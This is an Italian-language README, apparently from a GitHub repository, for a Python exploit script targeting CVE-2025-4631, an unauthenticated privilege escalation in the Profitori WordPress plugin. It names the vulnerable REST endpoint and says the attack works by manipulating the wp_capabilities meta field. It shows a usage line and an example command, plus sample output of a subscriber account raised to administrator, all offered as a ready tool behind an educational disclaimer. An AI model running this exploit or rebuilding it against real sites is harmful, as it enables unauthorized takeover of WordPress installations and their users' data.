CVE-2025-4631

🚨 CVE-2025-4631 - Exploit di escalation dei privilegi del plugin WordPress Profitori

📌 Riepilogo della vulnerabilità

Il plugin Profitori (versioni dalla 2.0.6.0 alla 2.1.1.3) è vulnerabile a escalation dei privilegi non autenticata a causa di un controllo delle capacità mancante nell'endpoint /wp-json/stocktend/v1/stocktend_object. Ciò consente a un attaccante remoto di aumentare i privilegi degli utenti esistenti (o crearne di nuovi) manipolando direttamente il campo meta wp_capabilities.

• CVE: CVE-2025-4631
• Punteggio CVSS: 9.8 (Critico)
• Pubblicato: 30 maggio 2025
• Ultimo aggiornamento: 31 maggio 2025

🛠️ Cosa fa questo script

Questo exploit in Python automatizza il processo di escalation dei privilegi:

1. ✅ Controllando la versione del plugin tramite il file readme.txt.
2. 🚀 Sfruttando l'endpoint REST API vulnerabile se viene rilevata una versione vulnerabile.
3. 📡 Inviando il payload per elevare i privilegi di un utente ad Amministratore.
4. 🧾 Stampando risultati dettagliati e formattati, incluse le credenziali dell'utente modificato.

Se il controllo della versione fallisce, l'exploit procede con cautela mostrando un avviso.

📸 Prova dell'exploit

💻 Utilizzo

usage: CVE-2025-4631.py [-h] -u URL -id ID [--email EMAIL] [--name NAME] [--url_field URL_FIELD] [--verbose]

Esempio:

python CVE-2025-4631.py -u http://nxploit.ddev.site -id 3

Esempio di output:

[📄] Checking plugin version at: http://nxploit.ddev.site/wp-content/plugins/profitori/readme.txt
[✅] Vulnerable version detected: 2.1.1.3
[🚀] Exploiting in 3 seconds...
[📡] Sending privilege escalation request to: http://nxploit.ddev.site/wp-json/stocktend/v1/stocktend_object
[🎯] Exploit completed successfully!

[🧾] Updated User Information:
--------------------------------------
🆔 User ID         : 3
👤 Username        : subscriber
📧 Email           : [email protected]
🪪 Display Name    : Subscriber User
🔗 User URL        : 
🛡 Role Raw        : a:1:{s:13:"administrator";b:1;}

[👑] Exploit By : Nxploited (Khaled_alenazi)
🔗 GitHub       : https://github.com/Nxploited
📧 Email        : [email protected]

⚙️ Argomenti dello script

📂 Requisiti

• Python 3.x
• libreria requests

Installa tramite:

pip install requests

⚠️ Disclaimer

Questo strumento è fornito solo per scopi educativi e di test autorizzati. Qualsiasi uso improprio di questo exploit contro sistemi che non possiedi o per i quali non hai esplicita autorizzazione a testare è severamente vietato. Il creatore non è responsabile per eventuali danni o conseguenze legali derivanti da un uso improprio.

DA: Nxploited ( Khaled_Alenazi )